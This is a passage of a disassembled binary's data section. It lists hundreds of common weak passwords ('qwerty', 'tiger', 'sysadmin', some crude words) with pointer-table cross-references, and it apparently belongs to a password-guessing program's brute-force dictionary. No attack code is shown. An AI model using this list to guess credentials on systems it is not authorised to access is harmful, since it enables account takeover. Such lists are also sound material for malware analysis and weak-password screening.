aUncle		db 'uncle',0            ; DATA XREF: .nsp0:00426A4Co
		align 4
aUmesh		db 'umesh',0            ; DATA XREF: .nsp0:00426A48o
		align 4
aUgly		db 'ugly',0             ; DATA XREF: .nsp0:00426A44o
		align 4
aTuttle		db 'tuttle',0           ; DATA XREF: .nsp0:00426A40o
		align 4
aTurn		db 'turn',0             ; DATA XREF: .nsp0:00426A3Co
		align 4
aTuesday	db 'tuesday',0          ; DATA XREF: .nsp0:00426A38o
aTubas		db 'tubas',0            ; DATA XREF: .nsp0:00426A34o
		align 4
aTruth		db 'truth',0            ; DATA XREF: .nsp0:00426A30o
		align 4
aTrue		db 'true',0             ; DATA XREF: .nsp0:00426A2Co
		align 4
aTron		db 'tron',0             ; DATA XREF: .nsp0:00426A28o
		align 4
aTrombone	db 'trombone',0         ; DATA XREF: .nsp0:00426A24o
		align 10h
aTrojan		db 'trojan',0           ; DATA XREF: .nsp0:00426A20o
		align 4
aTrivial	db 'trivial',0          ; DATA XREF: .nsp0:00426A1Co
aTrisha		db 'trisha',0           ; DATA XREF: .nsp0:00426A18o
		align 4
aTrek		db 'trek',0             ; DATA XREF: .nsp0:00426A14o
		align 10h
aTree		db 'tree',0             ; DATA XREF: .nsp0:00426A10o
					; .nsp0:00438C9Co
		align 4
aTrapdoor	db 'trapdoor',0         ; DATA XREF: .nsp0:00426A0Co
		align 4
aTrap		db 'trap',0             ; DATA XREF: .nsp0:00426A08o
		align 4
aTransfer	db 'transfer',0         ; DATA XREF: .nsp0:00426A04o
		align 4
aTrails		db 'trails',0           ; DATA XREF: .nsp0:00426A00o
		align 10h
aTracy		db 'tracy',0            ; DATA XREF: .nsp0:004269FCo
		align 4
aTracie		db 'tracie',0           ; DATA XREF: .nsp0:004269F8o
		align 10h
aTraci		db 'traci',0            ; DATA XREF: .nsp0:004269F4o
		align 4
aToyota		db 'toyota',0           ; DATA XREF: .nsp0:004269F0o
					; .nsp0:00427300o
		align 10h
aToxic		db 'toxic',0            ; DATA XREF: .nsp0:004269ECo
		align 4
aTortoise	db 'tortoise',0         ; DATA XREF: .nsp0:004269E8o
		align 4
aTopograp	db 'topograp',0         ; DATA XREF: .nsp0:004269E4o
		align 10h
aTomato		db 'tomato',0           ; DATA XREF: .nsp0:004269E0o
		align 4
aTokenrin	db 'tokenrin',0         ; DATA XREF: .nsp0:004269DCo
		align 4
aToken		db 'token',0            ; DATA XREF: .nsp0:004269D8o
		align 4
aToggle		db 'toggle',0           ; DATA XREF: .nsp0:004269D4o
		align 4
aToad		db 'toad',0             ; DATA XREF: .nsp0:004269D0o
		align 4
aTits		db 'tits',0             ; DATA XREF: .nsp0:004269CCo
		align 4
aTina		db 'tina',0             ; DATA XREF: .nsp0:004269C8o
		align 4
aTime		db 'time',0             ; DATA XREF: .nsp0:004269C4o
		align 4
aTiger		db 'tiger',0            ; DATA XREF: .nsp0:004269C0o
					; .nsp0:004272F4o
		align 4
aTiffany	db 'tiffany',0          ; DATA XREF: .nsp0:004269BCo
aThursday	db 'thursday',0         ; DATA XREF: .nsp0:004269B8o
		align 10h
aThin		db 'thin',0             ; DATA XREF: .nsp0:004269B4o
		align 4
aTheresa	db 'theresa',0          ; DATA XREF: .nsp0:004269B0o
aThailand	db 'thailand',0         ; DATA XREF: .nsp0:004269ACo
		align 4
aText		db 'text',0             ; DATA XREF: .nsp0:004269A8o
		align 4
aTetris		db 'tetris',0           ; DATA XREF: .nsp0:004269A4o
		align 4
aTess		db 'tess',0             ; DATA XREF: .nsp0:004269A0o
		align 4
aTerminat	db 'terminat',0         ; DATA XREF: .nsp0:0042699Co
		align 10h
aTerminal	db 'terminal',0         ; DATA XREF: .nsp0:00426998o
		align 4
aTera		db 'tera',0             ; DATA XREF: .nsp0:00426994o
		align 4
aTennis		db 'tennis',0           ; DATA XREF: .nsp0:00426990o
		align 4
aTemptati	db 'temptati',0         ; DATA XREF: .nsp0:0042698Co
		align 4
aTelnet		db 'telnet',0           ; DATA XREF: .nsp0:00426988o
		align 10h
aTelephon	db 'telephon',0         ; DATA XREF: .nsp0:00426984o
		align 4
aTeenage	db 'teenage',0          ; DATA XREF: .nsp0:00426980o
aTeen		db 'teen',0             ; DATA XREF: .nsp0:0042697Co
		align 4
aTech		db 'tech',0             ; DATA XREF: .nsp0:00426978o
		align 4
aTears		db 'tears',0            ; DATA XREF: .nsp0:00426974o
		align 4
aTeapot		db 'teapot',0           ; DATA XREF: .nsp0:00426970o
		align 4
aTeam		db 'team',0             ; DATA XREF: .nsp0:0042696Co
		align 4
aTaylor		db 'taylor',0           ; DATA XREF: .nsp0:00426964o
		align 4
aTarragon	db 'tarragon',0         ; DATA XREF: .nsp0:00426960o
		align 10h
aTarget		db 'target',0           ; DATA XREF: .nsp0:0042695Co
		align 4
aTara		db 'tara',0             ; DATA XREF: .nsp0:00426958o
		align 10h
aTape		db 'tape',0             ; DATA XREF: .nsp0:00426954o
		align 4
aTango		db 'tango',0            ; DATA XREF: .nsp0:00426950o
		align 10h
aTangerin	db 'tangerin',0         ; DATA XREF: .nsp0:0042694Co
		align 4
aTammy		db 'tammy',0            ; DATA XREF: .nsp0:00426948o
		align 4
aTamie		db 'tamie',0            ; DATA XREF: .nsp0:00426944o
		align 4
aTami		db 'tami',0             ; DATA XREF: .nsp0:00426940o
		align 4
aTamara		db 'tamara',0           ; DATA XREF: .nsp0:0042693Co
		align 4
aTall		db 'tall',0             ; DATA XREF: .nsp0:00426938o
		align 4
aTalk		db 'talk',0             ; DATA XREF: .nsp0:00426934o
		align 4
aTabasco	db 'tabasco',0          ; DATA XREF: .nsp0:00426930o
aSysop		db 'sysop',0            ; DATA XREF: .nsp0:0042692Co
		align 4
aSysadmin	db 'sysadmin',0         ; DATA XREF: .nsp0:00426928o
		align 4
aSymmetry	db 'symmetry',0         ; DATA XREF: .nsp0:00426924o
		align 4
aSybil		db 'sybil',0            ; DATA XREF: .nsp0:00426920o
		align 4
aSword		db 'sword',0            ; DATA XREF: .nsp0:0042691Co
		align 4
aSwitch		db 'switch',0           ; DATA XREF: .nsp0:00426918o
		align 4
aSweat		db 'sweat',0            ; DATA XREF: .nsp0:00426914o
		align 4
aSwearer	db 'swearer',0          ; DATA XREF: .nsp0:00426910o
aSuzie		db 'suzie',0            ; DATA XREF: .nsp0:0042690Co
		align 4
aSuzanne	db 'suzanne',0          ; DATA XREF: .nsp0:00426908o
aSusie		db 'susie',0            ; DATA XREF: .nsp0:00426904o
		align 4
aSusanne	db 'susanne',0          ; DATA XREF: .nsp0:00426900o
aSusan		db 'susan',0            ; DATA XREF: .nsp0:004268FCo
		align 4
aSurfing	db 'surfing',0          ; DATA XREF: .nsp0:004268F8o
aSurfer		db 'surfer',0           ; DATA XREF: .nsp0:004268F4o
		align 4
aSupporte	db 'supporte',0         ; DATA XREF: .nsp0:004268F0o
		align 10h
aSupport	db 'support',0          ; DATA XREF: .nsp0:004268ECo
aSupervis	db 'supervis',0         ; DATA XREF: .nsp0:004268E8o
		align 4
aSuperuse	db 'superuse',0         ; DATA XREF: .nsp0:004268E4o
		align 10h
aSupersta	db 'supersta',0         ; DATA XREF: .nsp0:004268E0o
		align 4
aSuperson	db 'superson',0         ; DATA XREF: .nsp0:004268DCo
		align 4
aSuperman	db 'superman',0         ; DATA XREF: .nsp0:004268D8o
		align 4
aSunday		db 'sunday',0           ; DATA XREF: .nsp0:004268D4o
		align 4
aSummer		db 'summer',0           ; DATA XREF: .nsp0:004268D0o
		align 4
aSucks		db 'sucks',0            ; DATA XREF: .nsp0:004268CCo
		align 4
aSuckmydi	db 'suckmydi',0         ; DATA XREF: .nsp0:004268C8o
		align 4
aSuck		db 'suck',0             ; DATA XREF: .nsp0:004268C4o
		align 10h
aSuccess	db 'success',0          ; DATA XREF: .nsp0:004268C0o
aSubway		db 'subway',0           ; DATA XREF: .nsp0:004268BCo
		align 10h
aSubscrib	db 'subscrib',0         ; DATA XREF: .nsp0:004268B8o
		align 4
aStuttgar	db 'stuttgar',0         ; DATA XREF: .nsp0:004268B4o
		align 4
aStrip		db 'strip',0            ; DATA XREF: .nsp0:004268ACo
		align 10h
aString		db 'string',0           ; DATA XREF: .nsp0:004268A8o
		align 4
aStreetfi	db 'streetfi',0         ; DATA XREF: .nsp0:004268A4o
		align 4
aStratfor	db 'stratfor',0         ; DATA XREF: .nsp0:004268A0o
		align 10h
aStrangle	db 'strangle',0         ; DATA XREF: .nsp0:0042689Co
		align 4
aStrange	db 'strange',0          ; DATA XREF: .nsp0:00426898o
aStones		db 'stones',0           ; DATA XREF: .nsp0:00426894o
		align 4
aStoned		db 'stoned',0           ; DATA XREF: .nsp0:00426890o
		align 4
aStoneage	db 'stoneage',0         ; DATA XREF: .nsp0:0042688Co
		align 10h
aSteve		db 'steve',0            ; DATA XREF: .nsp0:00426888o
		align 4
aStereo		db 'stereo',0           ; DATA XREF: .nsp0:00426884o
		align 10h
aStephani	db 'stephani',0         ; DATA XREF: .nsp0:00426880o
		align 4
aSteph		db 'steph',0            ; DATA XREF: .nsp0:0042687Co
		align 4
aSteel		db 'steel',0            ; DATA XREF: .nsp0:00426878o
		align 4
aSteal		db 'steal',0            ; DATA XREF: .nsp0:00426874o
		align 4
aSteak		db 'steak',0            ; DATA XREF: .nsp0:00426870o
		align 4
aStarwars	db 'starwars',0         ; DATA XREF: .nsp0:0042686Co
		align 4
aStartup	db 'startup',0          ; DATA XREF: .nsp0:00426868o
aStartrek	db 'startrek',0         ; DATA XREF: .nsp0:00426864o
		align 4
aStart		db 'start',0            ; DATA XREF: sub_401AC7+3CDAo
					; .nsp0:00426860o
		align 4
aStarship	db 'starship',0         ; DATA XREF: .nsp0:0042685Co
		align 10h
aStar		db 'star',0             ; DATA XREF: .nsp0:00426858o
		align 4
aStacy		db 'stacy',0            ; DATA XREF: .nsp0:00426854o
		align 10h
aStacie		db 'stacie',0           ; DATA XREF: .nsp0:00426850o
		align 4
aStaci		db 'staci',0            ; DATA XREF: .nsp0:0042684Co
		align 10h
aStacey		db 'stacey',0           ; DATA XREF: .nsp0:00426848o
		align 4
aSr71		db 'sr71',0             ; DATA XREF: .nsp0:00426844o
		align 10h
aSquires	db 'squires',0          ; DATA XREF: .nsp0:00426840o
aSpunk		db 'spunk',0            ; DATA XREF: .nsp0:0042683Co
		align 10h
aSpringer	db 'springer',0         ; DATA XREF: .nsp0:00426838o
		align 4
aSpring		db 'spring',0           ; DATA XREF: .nsp0:00426834o
		align 4
aSpred		db 'spred',0            ; DATA XREF: .nsp0:00426830o
		align 4
aSpit		db 'spit',0             ; DATA XREF: .nsp0:0042682Co
		align 4
aSpiderma	db 'spiderma',0         ; DATA XREF: .nsp0:00426828o
		align 10h
aSpider		db 'spider',0           ; DATA XREF: .nsp0:00426824o
		align 4
aSpice		db 'spice',0            ; DATA XREF: .nsp0:00426820o
		align 10h
aSpell		db 'spell',0            ; DATA XREF: .nsp0:0042681Co
		align 4
aSpear		db 'spear',0            ; DATA XREF: .nsp0:00426818o
		align 10h
aSparrows	db 'sparrows',0         ; DATA XREF: .nsp0:00426814o
		align 4
aSpaceshi	db 'spaceshi',0         ; DATA XREF: .nsp0:00426810o
		align 4
aSouth		db 'south',0            ; DATA XREF: .nsp0:0042680Co
		align 10h
aSource		db 'source',0           ; DATA XREF: .nsp0:00426808o
		align 4
aSossina	db 'sossina',0          ; DATA XREF: .nsp0:00426804o
aSonya		db 'sonya',0            ; DATA XREF: .nsp0:00426800o
		align 4
aSonic		db 'sonic',0            ; DATA XREF: .nsp0:004267FCo
		align 10h
aSonia		db 'sonia',0            ; DATA XREF: .nsp0:004267F8o
		align 4
aSondra		db 'sondra',0           ; DATA XREF: .nsp0:004267F4o
		align 10h
aSomebody	db 'somebody',0         ; DATA XREF: .nsp0:004267F0o
		align 4
aSoftware	db 'software',0         ; DATA XREF: .nsp0:004267ECo
		align 4
aSoft		db 'soft',0             ; DATA XREF: .nsp0:004267E8o
		align 10h
aSodomy		db 'sodomy',0           ; DATA XREF: .nsp0:004267E4o
		align 4
aSocrates	db 'socrates',0         ; DATA XREF: .nsp0:004267E0o
		align 4
aSocial		db 'social',0           ; DATA XREF: .nsp0:004267DCo
		align 4
aSoap		db 'soap',0             ; DATA XREF: .nsp0:004267D8o
		align 4
aSnoopy		db 'snoopy',0           ; DATA XREF: .nsp0:004267D4o
		align 4
aSnatch		db 'snatch',0           ; DATA XREF: .nsp0:004267D0o
		align 4
aSnake		db 'snake',0            ; DATA XREF: .nsp0:004267CCo
		align 4
aSnafu		db 'snafu',0            ; DATA XREF: .nsp0:004267C8o
		align 4
aSnach		db 'snach',0            ; DATA XREF: .nsp0:004267C4o
		align 4
aSmut		db 'smut',0             ; DATA XREF: .nsp0:004267C0o
		align 4
aSmtp		db 'smtp',0             ; DATA XREF: .nsp0:004267BCo
		align 4
aSmother	db 'smother',0          ; DATA XREF: .nsp0:004267B8o
aSmooch		db 'smooch',0           ; DATA XREF: .nsp0:004267B4o
		align 4
aSmiles		db 'smiles',0           ; DATA XREF: .nsp0:004267B0o
		align 4
aSmile		db 'smile',0            ; DATA XREF: .nsp0:004267ACo
		align 4
aSmart		db 'smart',0            ; DATA XREF: .nsp0:004267A8o
		align 4
aSmall		db 'small',0            ; DATA XREF: .nsp0:004267A4o
		align 4
aSlut		db 'slut',0             ; DATA XREF: .nsp0:004267A0o
		align 4
aSlow		db 'slow',0             ; DATA XREF: .nsp0:0042679Co
		align 4
aSliders	db 'sliders',0          ; DATA XREF: .nsp0:00426798o
aSlick		db 'slick',0            ; DATA XREF: .nsp0:00426794o
		align 4
aSlave		db 'slave',0            ; DATA XREF: .nsp0:00426790o
		align 4
aSkull		db 'skull',0            ; DATA XREF: .nsp0:0042678Co
		align 4
aSite		db 'site',0             ; DATA XREF: .nsp0:00426788o
		align 4
aSingle		db 'single',0           ; DATA XREF: .nsp0:00426784o
		align 4
aSinger		db 'singer',0           ; DATA XREF: .nsp0:00426780o
		align 4
aSimulati	db 'simulati',0         ; DATA XREF: .nsp0:0042677Co
		align 10h
aSimpsons	db 'simpsons',0         ; DATA XREF: .nsp0:00426778o
		align 4
aSimple		db 'simple',0           ; DATA XREF: .nsp0:00426774o
		align 4
aSimon		db 'simon',0            ; DATA XREF: .nsp0:00426770o
		align 4
aSimcity	db 'simcity',0          ; DATA XREF: .nsp0:0042676Co
aSilver		db 'silver',0           ; DATA XREF: .nsp0:00426768o
		align 4
aSignatur	db 'signatur',0         ; DATA XREF: .nsp0:00426764o
		align 4
aSierra		db 'sierra',0           ; DATA XREF: .nsp0:00426760o
		align 10h
aSick		db 'sick',0             ; DATA XREF: .nsp0:0042675Co
		align 4
aShuttle	db 'shuttle',0          ; DATA XREF: .nsp0:00426758o
aShort		db 'short',0            ; DATA XREF: .nsp0:00426754o
		align 4
aShivers	db 'shivers',0          ; DATA XREF: .nsp0:00426750o
aShiva		db 'shiva',0            ; DATA XREF: .nsp0:0042674Co
		align 4
aShitpot	db 'shitpot',0          ; DATA XREF: .nsp0:00426748o
aShit		db 'shit',0             ; DATA XREF: .nsp0:00426744o
					; .nsp0:00438DECo
		align 4
aShirley	db 'shirley',0          ; DATA XREF: .nsp0:00426740o
aShift		db 'shift',0            ; DATA XREF: .nsp0:0042673Co
		align 4
aSherri		db 'sherri',0           ; DATA XREF: .nsp0:00426738o
		align 10h
aShell		db 'shell',0            ; DATA XREF: .nsp0:00426734o
		align 4
aSheldon	db 'sheldon',0          ; DATA XREF: .nsp0:00426730o
aSheffiel	db 'sheffiel',0         ; DATA XREF: .nsp0:0042672Co
		align 4
aSharon		db 'sharon',0           ; DATA XREF: .nsp0:00426728o
		align 4
aSharks		db 'sharks',0           ; DATA XREF: .nsp0:00426724o
		align 4
aShark		db 'shark',0            ; DATA XREF: .nsp0:00426720o
		align 4
aSharc		db 'sharc',0            ; DATA XREF: .nsp0:0042671Co
		align 4
aShannon	db 'shannon',0          ; DATA XREF: .nsp0:00426718o
aSexy		db 'sexy',0             ; DATA XREF: .nsp0:00426714o
		align 4
aSesame		db 'sesame',0           ; DATA XREF: .nsp0:00426710o
		align 4
aService	db 'service',0          ; DATA XREF: .nsp0:0042670Co
					; .nsp0:004272D4o
aSerial		db 'serial',0           ; DATA XREF: .nsp0:00426708o
		align 4
aSerenity	db 'serenity',0         ; DATA XREF: .nsp0:00426704o
		align 10h
aSentry		db 'sentry',0           ; DATA XREF: .nsp0:00426700o
		align 4
aSentinel	db 'sentinel',0         ; DATA XREF: .nsp0:004266FCo
		align 4
aSensor		db 'sensor',0           ; DATA XREF: .nsp0:004266F8o
		align 4
aSega		db 'sega',0             ; DATA XREF: .nsp0:004266F4o
		align 4
aSeed		db 'seed',0             ; DATA XREF: .nsp0:004266F0o
		align 4
aSecurity	db 'security',0         ; DATA XREF: .nsp0:004266ECo
		align 4
aSearch		db 'search',0           ; DATA XREF: .nsp0:004266E8o
		align 10h
aScout		db 'scout',0            ; DATA XREF: .nsp0:004266E4o
		align 4
aScotty		db 'scotty',0           ; DATA XREF: .nsp0:004266E0o
		align 10h
aScott		db 'scott',0            ; DATA XREF: .nsp0:004266DCo
		align 4
aScorpion	db 'scorpion',0         ; DATA XREF: .nsp0:004266D8o
		align 4
aScifi		db 'scifi',0            ; DATA XREF: .nsp0:004266D4o
		align 4
aSchoolsucks	db 'schoolsucks',0      ; DATA XREF: .nsp0:004266D0o
aSchool		db 'school',0           ; DATA XREF: .nsp0:004266CCo
		align 10h
aScheme		db 'scheme',0           ; DATA XREF: .nsp0:004266C8o
		align 4
aScamper	db 'scamper',0          ; DATA XREF: .nsp0:004266C4o
aSaxon		db 'saxon',0            ; DATA XREF: .nsp0:004266C0o
		align 4
aSaturn		db 'saturn',0           ; DATA XREF: .nsp0:004266BCo
		align 10h
aSaturday	db 'saturday',0         ; DATA XREF: .nsp0:004266B8o
		align 4
aSarah		db 'sarah',0            ; DATA XREF: .nsp0:004266B4o
		align 4
aSara		db 'sara',0             ; DATA XREF: .nsp0:004266B0o
		align 4
aSandy		db 'sandy',0            ; DATA XREF: .nsp0:004266ACo
		align 4
aSandra		db 'sandra',0           ; DATA XREF: .nsp0:004266A8o
		align 4
aSample		db 'sample',0           ; DATA XREF: .nsp0:004266A4o
		align 4
aSamantha	db 'samantha',0         ; DATA XREF: .nsp0:004266A0o
		align 10h
aSalt		db 'salt',0             ; DATA XREF: .nsp0:0042669Co
		align 4
aSale		db 'sale',0             ; DATA XREF: .nsp0:00426698o
		align 10h
aSalami		db 'salami',0           ; DATA XREF: .nsp0:00426694o
		align 4
aSafe		db 'safe',0             ; DATA XREF: .nsp0:00426690o
		align 10h
aRuth		db 'ruth',0             ; DATA XREF: .nsp0:0042668Co
		align 4
aRush		db 'rush',0             ; DATA XREF: .nsp0:00426688o
		align 10h
aRunning	db 'running',0          ; DATA XREF: .nsp0:00426684o
aRules		db 'rules',0            ; DATA XREF: .nsp0:00426680o
		align 10h
aRude		db 'rude',0             ; DATA XREF: .nsp0:0042667Co
		align 4
aRuby		db 'ruby',0             ; DATA XREF: .nsp0:00426678o
		align 10h
aRuben		db 'ruben',0            ; DATA XREF: .nsp0:00426674o
		align 4
aRubber		db 'rubber',0           ; DATA XREF: .nsp0:00426670o
		align 10h
aRough		db 'rough',0            ; DATA XREF: .nsp0:0042666Co
		align 4
aRoses		db 'roses',0            ; DATA XREF: .nsp0:00426668o
		align 10h
aRosemary	db 'rosemary',0         ; DATA XREF: .nsp0:00426664o
		align 4
aRosebud	db 'rosebud',0          ; DATA XREF: .nsp0:00426660o
aRose		db 'rose',0             ; DATA XREF: .nsp0:0042665Co
		align 4
aRonald		db 'ronald',0           ; DATA XREF: .nsp0:00426658o
		align 4
aRomulan	db 'romulan',0          ; DATA XREF: .nsp0:00426654o
aRomeo		db 'romeo',0            ; DATA XREF: .nsp0:00426650o
		align 4
aRomano		db 'romano',0           ; DATA XREF: .nsp0:0042664Co
		align 4
aRolex		db 'rolex',0            ; DATA XREF: .nsp0:00426648o
		align 4
aRodent		db 'rodent',0           ; DATA XREF: .nsp0:00426644o
		align 4
aRockyhor	db 'rockyhor',0         ; DATA XREF: .nsp0:00426640o
		align 4
aRocky		db 'rocky',0            ; DATA XREF: .nsp0:0042663Co
		align 10h
aRock		db 'rock',0             ; DATA XREF: .nsp0:00426638o
		align 4
aRocheste	db 'rocheste',0         ; DATA XREF: .nsp0:00426634o
		align 4
aRochelle	db 'rochelle',0         ; DATA XREF: .nsp0:00426630o
		align 10h
aRobyn		db 'robyn',0            ; DATA XREF: .nsp0:0042662Co
		align 4
aRobotics	db 'robotics',0         ; DATA XREF: .nsp0:00426628o
		align 4
aRobot		db 'robot',0            ; DATA XREF: .nsp0:00426624o
		align 4
aRobin		db 'robin',0            ; DATA XREF: .nsp0:00426620o
		align 4
aRobert		db 'robert',0           ; DATA XREF: .nsp0:0042661Co
		align 4
aRoach		db 'roach',0            ; DATA XREF: .nsp0:00426618o
		align 4
aRisc		db 'risc',0             ; DATA XREF: .nsp0:00426614o
		align 4
aRipple		db 'ripple',0           ; DATA XREF: .nsp0:00426610o
		align 4
aRiot		db 'riot',0             ; DATA XREF: .nsp0:0042660Co
		align 4
aRing		db 'ring',0             ; DATA XREF: .nsp0:00426608o
		align 4
aRightwin	db 'rightwin',0         ; DATA XREF: .nsp0:00426604o
		align 10h
aRight		db 'right',0            ; DATA XREF: .nsp0:00426600o
		align 4
aRiffraff	db 'riffraff',0         ; DATA XREF: .nsp0:004265FCo
		align 4
aRick		db 'rick',0             ; DATA XREF: .nsp0:004265F8o
		align 4
aRich		db 'rich',0             ; DATA XREF: .nsp0:004265F4o
		align 4
aRhino		db 'rhino',0            ; DATA XREF: .nsp0:004265F0o
		align 4
aReveal		db 'reveal',0           ; DATA XREF: .nsp0:004265ECo
		align 4
aResistan	db 'resistan',0         ; DATA XREF: .nsp0:004265E8o
		align 10h
aRepublic	db 'republic',0         ; DATA XREF: .nsp0:004265E4o
		align 4
aReport		db 'report',0           ; DATA XREF: .nsp0:004265E0o
		align 4
aRent		db 'rent',0             ; DATA XREF: .nsp0:004265DCo
		align 4
aReno		db 'reno',0             ; DATA XREF: .nsp0:004265D8o
		align 4
aRenee		db 'renee',0            ; DATA XREF: .nsp0:004265D4o
		align 4
aRemote		db 'remote',0           ; DATA XREF: .nsp0:004265D0o
		align 4
aRelease	db 'release',0          ; DATA XREF: .nsp0:004265CCo
aRegional	db 'regional',0         ; DATA XREF: .nsp0:004265C8o
		align 4
aReferenc	db 'referenc',0         ; DATA XREF: .nsp0:004265C4o
		align 4
aRedhead	db 'redhead',0          ; DATA XREF: .nsp0:004265C0o
aReddawn	db 'reddawn',0          ; DATA XREF: .nsp0:004265BCo
aRecord		db 'record',0           ; DATA XREF: .nsp0:004265B8o
		align 4
aRebel		db 'rebel',0            ; DATA XREF: .nsp0:004265B4o
		align 4
aRebecca	db 'rebecca',0          ; DATA XREF: .nsp0:004265B0o
aRebal		db 'rebal',0            ; DATA XREF: .nsp0:004265ACo
		align 4
aReaper		db 'reaper',0           ; DATA XREF: .nsp0:004265A8o
		align 4
aReam		db 'ream',0             ; DATA XREF: .nsp0:004265A4o
		align 4
aReally		db 'really',0           ; DATA XREF: .nsp0:004265A0o
		align 4
aReality	db 'reality',0          ; DATA XREF: .nsp0:0042659Co
aReagan		db 'reagan',0           ; DATA XREF: .nsp0:00426598o
		align 4
aRazor		db 'razor',0            ; DATA XREF: .nsp0:00426594o
		align 4
aRascal		db 'rascal',0           ; DATA XREF: .nsp0:00426590o
		align 4
aRape		db 'rape',0             ; DATA XREF: .nsp0:0042658Co
		align 4
aRandom_0	db 'random',0           ; DATA XREF: sub_401AC7+4A12o
					; sub_4127E4+312o ...
		align 4
aRaleigh	db 'raleigh',0          ; DATA XREF: .nsp0:00426584o
aRaindrop	db 'raindrop',0         ; DATA XREF: .nsp0:00426580o
		align 10h
aRainbow	db 'rainbow',0          ; DATA XREF: .nsp0:0042657Co
aRain		db 'rain',0             ; DATA XREF: .nsp0:00426578o
		align 10h
aRaid		db 'raid',0             ; DATA XREF: .nsp0:00426574o
		align 4
aRachmani	db 'rachmani',0         ; DATA XREF: .nsp0:00426570o
		align 4
aRachelle	db 'rachelle',0         ; DATA XREF: .nsp0:0042656Co
		align 10h
aRachel		db 'rachel',0           ; DATA XREF: .nsp0:00426568o
		align 4
aRabbit		db 'rabbit',0           ; DATA XREF: .nsp0:00426564o
		align 10h
aQwerty		db 'qwerty',0           ; DATA XREF: .nsp0:00426560o
					; .nsp0:004272B8o
		align 4
aQwert		db 'qwert',0            ; DATA XREF: .nsp0:0042655Co
					; .nsp0:004272B4o
		align 10h
aQuebec		db 'quebec',0           ; DATA XREF: .nsp0:00426558o
		align 4
aPussy		db 'pussy',0            ; DATA XREF: .nsp0:00426554o
		align 10h
aPuppet		db 'puppet',0           ; DATA XREF: .nsp0:00426550o
		align 4
aPunk		db 'punk',0             ; DATA XREF: .nsp0:0042654Co
		align 10h
aPunisher	db 'punisher',0         ; DATA XREF: .nsp0:00426548o
		align 4
aPuneet		db 'puneet',0           ; DATA XREF: .nsp0:00426544o
		align 4
aPumpkin	db 'pumpkin',0          ; DATA XREF: .nsp0:00426540o
aPuke		db 'puke',0             ; DATA XREF: .nsp0:0042653Co
		align 4
aPuck		db 'puck',0             ; DATA XREF: .nsp0:00426538o
		align 4
aPublic		db 'public',0           ; DATA XREF: .nsp0:00426534o
		align 4
aPsychopa	db 'psychopa',0         ; DATA XREF: .nsp0:00426530o
		align 10h
aPsycho		db 'psycho',0           ; DATA XREF: .nsp0:0042652Co
		align 4
aProtozoa	db 'protozoa',0         ; DATA XREF: .nsp0:00426528o
		align 4
aProtect	db 'protect',0          ; DATA XREF: .nsp0:00426524o
aPrompt		db 'prompt',0           ; DATA XREF: .nsp0:00426520o
		align 4
aProgram	db 'program',0          ; DATA XREF: .nsp0:0042651Co
aProfile	db 'profile',0          ; DATA XREF: .nsp0:00426518o
aProfesso	db 'professo',0         ; DATA XREF: .nsp0:00426514o
		align 10h
aProcesso	db 'processo',0         ; DATA XREF: .nsp0:00426510o
		align 4
aProceed	db 'proceed',0          ; DATA XREF: .nsp0:0042650Co
aPrivs		db 'privs',0            ; DATA XREF: .nsp0:00426508o
		align 4
aPrivate	db 'private',0          ; DATA XREF: .nsp0:00426504o
aPriv		db 'priv',0             ; DATA XREF: .nsp0:00426500o
		align 4
aPrinter	db 'printer',0          ; DATA XREF: .nsp0:004264FCo
aPrinceto	db 'princeto',0         ; DATA XREF: .nsp0:004264F8o
		align 10h
aPrince		db 'prince',0           ; DATA XREF: .nsp0:004264F4o
		align 4
aPresto		db 'presto',0           ; DATA XREF: .nsp0:004264F0o
		align 10h
aPrelude	db 'prelude',0          ; DATA XREF: .nsp0:004264ECo
aPrecious	db 'precious',0         ; DATA XREF: .nsp0:004264E8o
		align 4
aPraise		db 'praise',0           ; DATA XREF: .nsp0:004264E4o
		align 4
aPower		db 'power',0            ; DATA XREF: .nsp0:004264E0o
		align 4
aPoster		db 'poster',0           ; DATA XREF: .nsp0:004264DCo
		align 4
aPost		db 'post',0             ; DATA XREF: .nsp0:004264D8o
		align 4
aPorsche	db 'porsche',0          ; DATA XREF: .nsp0:004264D4o
aPorno		db 'porno',0            ; DATA XREF: .nsp0:004264D0o
		align 4
aPorn		db 'porn',0             ; DATA XREF: .nsp0:004264CCo
		align 4
aPork		db 'pork',0             ; DATA XREF: .nsp0:004264C8o
		align 4
aPoor		db 'poor',0             ; DATA XREF: .nsp0:004264C4o
		align 4
aPoop		db 'poop',0             ; DATA XREF: .nsp0:004264C0o
		align 4
aPonderin	db 'ponderin',0         ; DATA XREF: .nsp0:004264BCo
		align 10h
aPolynomi	db 'polynomi',0         ; DATA XREF: .nsp0:004264B8o
		align 4
aPolly		db 'polly',0            ; DATA XREF: .nsp0:004264B4o
		align 4
aPolice		db 'police',0           ; DATA XREF: .nsp0:004264B0o
		align 4
aPoetry		db 'poetry',0           ; DATA XREF: .nsp0:004264ACo
		align 4
aPlymouth	db 'plymouth',0         ; DATA XREF: .nsp0:004264A8o
		align 10h
aPluto		db 'pluto',0            ; DATA XREF: .nsp0:004264A4o
		align 4
aPlover		db 'plover',0           ; DATA XREF: .nsp0:004264A0o
		align 10h
aPlayboy	db 'playboy',0          ; DATA XREF: .nsp0:0042649Co
aPlane		db 'plane',0            ; DATA XREF: .nsp0:00426498o
		align 10h
aPizza		db 'pizza',0            ; DATA XREF: .nsp0:00426494o
		align 4
aPiss		db 'piss',0             ; DATA XREF: .nsp0:00426490o
		align 10h
aPinname	db 'pinname',0          ; DATA XREF: .nsp0:0042648Co
aPimp		db 'pimp',0             ; DATA XREF: .nsp0:00426488o
		align 10h
aPierre		db 'pierre',0           ; DATA XREF: .nsp0:00426484o
		align 4
aPick		db 'pick',0             ; DATA XREF: .nsp0:00426480o
		align 10h
aPhuck		db 'phuck',0            ; DATA XREF: .nsp0:0042647Co
		align 4
aPhreak		db 'phreak',0           ; DATA XREF: .nsp0:00426478o
		align 10h
aPhrase		db 'phrase',0           ; DATA XREF: .nsp0:00426474o
		align 4
aPhrack		db 'phrack',0           ; DATA XREF: .nsp0:00426470o
		align 10h
aPhoton		db 'photon',0           ; DATA XREF: .nsp0:0042646Co
		align 4
aPhone		db 'phone',0            ; DATA XREF: .nsp0:00426468o
		align 10h
aPhoenix	db 'phoenix',0          ; DATA XREF: .nsp0:00426464o
aPhilip		db 'philip',0           ; DATA XREF: .nsp0:00426460o
		align 10h
aPhil		db 'phil',0             ; DATA XREF: .nsp0:0042645Co
		align 4
aPeter		db 'peter',0            ; DATA XREF: .nsp0:00426458o
		align 10h
aPete		db 'pete',0             ; DATA XREF: .nsp0:00426454o
		align 4
